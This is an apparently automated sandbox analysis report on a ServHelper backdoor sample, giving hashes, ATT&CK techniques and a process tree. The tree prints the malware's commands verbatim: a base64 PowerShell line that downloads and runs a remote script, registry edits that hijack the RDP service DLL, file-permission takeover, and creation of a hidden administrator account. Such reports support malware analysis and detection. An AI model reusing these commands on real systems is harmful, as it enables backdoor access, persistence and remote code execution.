servhelper | 3647e2dc4336b2eeb828371821c706a329dce645cb16f9c1c31c3faeae8f56dd

Analysis

max time kernel
134s
max time network
122s
platform
windows7_x64
resource
win7v20210408
submitted
11-06-2021 14:59

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General

Target

20f307c716a689f4afa3a76b7143db22.exe
Size

6.0MB
MD5

20f307c716a689f4afa3a76b7143db22
SHA1

2fd6796fd158c93b14654240533511af6fec03e5
SHA256

3647e2dc4336b2eeb828371821c706a329dce645cb16f9c1c31c3faeae8f56dd
SHA512

0a8d1b2d0cbd3860df907eb692aa2d775f021822b4d856c051d84e8056a2c1cf893bab68f471b69db0615341dd2dfe78dfac1b79d2239217cfbdf71bfb84061b

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1388	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1960	icacls.exe
2000	icacls.exe
576	icacls.exe
1212	icacls.exe
860	icacls.exe
1064	takeown.exe
1856	icacls.exe
1216	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130d7-179.dat	upx
behavioral1/files/0x00050000000130d8-180.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
956	Process not Found
956	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2000	icacls.exe
576	icacls.exe
1212	icacls.exe
860	icacls.exe
1064	takeown.exe
1856	icacls.exe
1216	icacls.exe
1960	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3d175d3c-1d85-4cc9-bd2c-60bcb8b8249e	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3a9f49bf-6bae-4dbb-a3f9-d367fa7074df	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f00c55de-be40-4e29-9aee-b7c8e48d36ac	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZVOUCCAZ1MOW2DRW7QQM.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d5590c60-3c66-47a1-9389-a032b558775e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e801fb25-a40e-4f38-8bf8-b40f5dd3f0db	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7ec28881-297a-4c37-a8a3-5fd028925067	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e39fe1fb-6171-4196-be45-dcb4150bcb96	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0b3f6521-2646-42cf-95b9-c45dd35dbe0f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_46e76794-119b-4abc-b2f5-5e19a5f0da72	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e60513dd-6f76-4617-a0f5-a616047d9436	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e80b161c-a211-44b5-ada6-46683a45d207	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = a0fd42b5e35ed701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1256	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1708	powershell.exe
1708	powershell.exe
1768	powershell.exe
1768	powershell.exe
1008	powershell.exe
1008	powershell.exe
1672	powershell.exe
1672	powershell.exe
1708	powershell.exe
1708	powershell.exe
1708	powershell.exe
1388	powershell.exe
1388	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
468	Process not Found
956	Process not Found
956	Process not Found
956	Process not Found
956	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	1008	powershell.exe
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeRestorePrivilege	1216	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1684	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1684	WMIC.exe
Token: SeAuditPrivilege	1684	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1684	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1684	WMIC.exe
Token: SeAuditPrivilege	1684	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1072	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1072	WMIC.exe
Token: SeAuditPrivilege	1072	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1072	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1072	WMIC.exe
Token: SeAuditPrivilege	1072	WMIC.exe
Token: SeDebugPrivilege	1388	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 1708	1100	20f307c716a689f4afa3a76b7143db22.exe	27
PID 1100 wrote to memory of 1708	1100	20f307c716a689f4afa3a76b7143db22.exe	27
PID 1100 wrote to memory of 1708	1100	20f307c716a689f4afa3a76b7143db22.exe	27
PID 1708 wrote to memory of 1288	1708	powershell.exe	31
PID 1708 wrote to memory of 1288	1708	powershell.exe	31
PID 1708 wrote to memory of 1288	1708	powershell.exe	31
PID 1288 wrote to memory of 1160	1288	csc.exe	32
PID 1288 wrote to memory of 1160	1288	csc.exe	32
PID 1288 wrote to memory of 1160	1288	csc.exe	32
PID 1708 wrote to memory of 1768	1708	powershell.exe	33
PID 1708 wrote to memory of 1768	1708	powershell.exe	33
PID 1708 wrote to memory of 1768	1708	powershell.exe	33
PID 1708 wrote to memory of 1008	1708	powershell.exe	35
PID 1708 wrote to memory of 1008	1708	powershell.exe	35
PID 1708 wrote to memory of 1008	1708	powershell.exe	35
PID 1708 wrote to memory of 1672	1708	powershell.exe	37
PID 1708 wrote to memory of 1672	1708	powershell.exe	37
PID 1708 wrote to memory of 1672	1708	powershell.exe	37
PID 1708 wrote to memory of 1064	1708	powershell.exe	40
PID 1708 wrote to memory of 1064	1708	powershell.exe	40
PID 1708 wrote to memory of 1064	1708	powershell.exe	40
PID 1708 wrote to memory of 1856	1708	powershell.exe	41
PID 1708 wrote to memory of 1856	1708	powershell.exe	41
PID 1708 wrote to memory of 1856	1708	powershell.exe	41
PID 1708 wrote to memory of 1216	1708	powershell.exe	42
PID 1708 wrote to memory of 1216	1708	powershell.exe	42
PID 1708 wrote to memory of 1216	1708	powershell.exe	42
PID 1708 wrote to memory of 1960	1708	powershell.exe	43
PID 1708 wrote to memory of 1960	1708	powershell.exe	43
PID 1708 wrote to memory of 1960	1708	powershell.exe	43
PID 1708 wrote to memory of 2000	1708	powershell.exe	44
PID 1708 wrote to memory of 2000	1708	powershell.exe	44
PID 1708 wrote to memory of 2000	1708	powershell.exe	44
PID 1708 wrote to memory of 576	1708	powershell.exe	45
PID 1708 wrote to memory of 576	1708	powershell.exe	45
PID 1708 wrote to memory of 576	1708	powershell.exe	45
PID 1708 wrote to memory of 1212	1708	powershell.exe	46
PID 1708 wrote to memory of 1212	1708	powershell.exe	46
PID 1708 wrote to memory of 1212	1708	powershell.exe	46
PID 1708 wrote to memory of 860	1708	powershell.exe	47
PID 1708 wrote to memory of 860	1708	powershell.exe	47
PID 1708 wrote to memory of 860	1708	powershell.exe	47
PID 1708 wrote to memory of 1744	1708	powershell.exe	48
PID 1708 wrote to memory of 1744	1708	powershell.exe	48
PID 1708 wrote to memory of 1744	1708	powershell.exe	48
PID 1708 wrote to memory of 1256	1708	powershell.exe	49
PID 1708 wrote to memory of 1256	1708	powershell.exe	49
PID 1708 wrote to memory of 1256	1708	powershell.exe	49
PID 1708 wrote to memory of 1116	1708	powershell.exe	50
PID 1708 wrote to memory of 1116	1708	powershell.exe	50
PID 1708 wrote to memory of 1116	1708	powershell.exe	50
PID 1708 wrote to memory of 1700	1708	powershell.exe	51
PID 1708 wrote to memory of 1700	1708	powershell.exe	51
PID 1708 wrote to memory of 1700	1708	powershell.exe	51
PID 1700 wrote to memory of 1684	1700	net.exe	52
PID 1700 wrote to memory of 1684	1700	net.exe	52
PID 1700 wrote to memory of 1684	1700	net.exe	52
PID 1708 wrote to memory of 2028	1708	powershell.exe	53
PID 1708 wrote to memory of 2028	1708	powershell.exe	53
PID 1708 wrote to memory of 2028	1708	powershell.exe	53
PID 2028 wrote to memory of 456	2028	cmd.exe	54
PID 2028 wrote to memory of 456	2028	cmd.exe	54
PID 2028 wrote to memory of 456	2028	cmd.exe	54
PID 456 wrote to memory of 300	456	cmd.exe	55

C:\Users\Admin\AppData\Local\Temp\20f307c716a689f4afa3a76b7143db22.exe
"C:\Users\Admin\AppData\Local\Temp\20f307c716a689f4afa3a76b7143db22.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gzhxopf0\gzhxopf0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA489.tmp" "c:\Users\Admin\AppData\Local\Temp\gzhxopf0\CSCDBCC0248C7A847EBA4688113AFEA8E2.TMP"
      4⤵
      PID:1160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1672
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1064
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1856
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1216
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1960
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2000
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:576
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1212
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:860
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1744
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1256
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1116
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1700
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1684
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2028
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:456
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:300
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1696
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:2032
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1276
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:636
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:1672
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1084
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1856

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1956
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:536
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:752

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc cjzofg0a /add
1⤵
PID:888
- C:\Windows\system32\net.exe
  net.exe user wgautilacc cjzofg0a /add
  2⤵
  PID:1576
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc cjzofg0a /add
    3⤵
    PID:1744

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1428
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1084
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:828

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1552
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1376

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:384
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1004
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:1212

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc cjzofg0a
1⤵
PID:1256
- C:\Windows\system32\net.exe
  net.exe user wgautilacc cjzofg0a
  2⤵
  PID:888
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc cjzofg0a
    3⤵
    PID:1632

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1700
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1684

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1692
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1072

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:816
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1388

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1956
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1800
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1384

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1008-133-0x000000001A9E0000-0x000000001A9E1000-memory.dmp

Filesize
4KB

Download
memory/1008-134-0x0000000002470000-0x0000000002471000-memory.dmp

Filesize
4KB

Download
memory/1008-131-0x000000001B770000-0x000000001B771000-memory.dmp

Filesize
4KB

Download
memory/1008-129-0x0000000002500000-0x0000000002501000-memory.dmp

Filesize
4KB

Download
memory/1008-127-0x000000001A964000-0x000000001A966000-memory.dmp

Filesize
8KB

Download
memory/1008-126-0x000000001A960000-0x000000001A962000-memory.dmp

Filesize
8KB

Download
memory/1100-64-0x0000000040FB7000-0x0000000040FB8000-memory.dmp

Filesize
4KB

Download
memory/1100-62-0x0000000040FB4000-0x0000000040FB6000-memory.dmp

Filesize
8KB

Download
memory/1100-61-0x0000000040FB2000-0x0000000040FB4000-memory.dmp

Filesize
8KB

Download
memory/1100-59-0x0000000041660000-0x0000000041A81000-memory.dmp

Filesize
4.1MB

Download
memory/1100-63-0x0000000040FB6000-0x0000000040FB7000-memory.dmp

Filesize
4KB

Download
memory/1388-204-0x00000000196CA000-0x00000000196E9000-memory.dmp

Filesize
124KB

Download
memory/1388-203-0x00000000196C4000-0x00000000196C6000-memory.dmp

Filesize
8KB

Download
memory/1388-202-0x00000000196C0000-0x00000000196C2000-memory.dmp

Filesize
8KB

Download
memory/1672-148-0x000000001AB90000-0x000000001AB92000-memory.dmp

Filesize
8KB

Download
memory/1672-150-0x000000001AB94000-0x000000001AB96000-memory.dmp

Filesize
8KB

Download
memory/1708-85-0x000000001C2B0000-0x000000001C2B1000-memory.dmp

Filesize
4KB

Download
memory/1708-101-0x000000001AD2A000-0x000000001AD49000-memory.dmp

Filesize
124KB

Download
memory/1708-156-0x000000001C7F0000-0x000000001C7F1000-memory.dmp

Filesize
4KB

Download
memory/1708-66-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp

Filesize
8KB

Download
memory/1708-67-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
memory/1708-86-0x0000000002700000-0x0000000002701000-memory.dmp

Filesize
4KB

Download
memory/1708-68-0x000000001ADA0000-0x000000001ADA1000-memory.dmp

Filesize
4KB

Download
memory/1708-69-0x00000000023C0000-0x00000000023C1000-memory.dmp

Filesize
4KB

Download
memory/1708-84-0x000000001B650000-0x000000001B651000-memory.dmp

Filesize
4KB

Download
memory/1708-82-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/1708-70-0x000000001AD20000-0x000000001AD22000-memory.dmp

Filesize
8KB

Download
memory/1708-71-0x000000001AD24000-0x000000001AD26000-memory.dmp

Filesize
8KB

Download
memory/1708-72-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/1708-74-0x000000001AC40000-0x000000001AC41000-memory.dmp

Filesize
4KB

Download
memory/1768-95-0x0000000002440000-0x0000000002441000-memory.dmp

Filesize
4KB

Download
memory/1768-94-0x000000001AB74000-0x000000001AB76000-memory.dmp

Filesize
8KB

Download
memory/1768-97-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

Filesize
4KB

Download
memory/1768-99-0x000000001A9F0000-0x000000001A9F1000-memory.dmp

Filesize
4KB

Download
memory/1768-100-0x0000000002460000-0x0000000002461000-memory.dmp

Filesize
4KB

Download
memory/1768-106-0x000000001B670000-0x000000001B671000-memory.dmp

Filesize
4KB

Download
memory/1768-93-0x000000001AB70000-0x000000001AB72000-memory.dmp

Filesize
8KB

Download
memory/1768-119-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

Filesize
4KB

Download
memory/1768-120-0x000000001B6F0000-0x000000001B6F1000-memory.dmp

Filesize
4KB

Download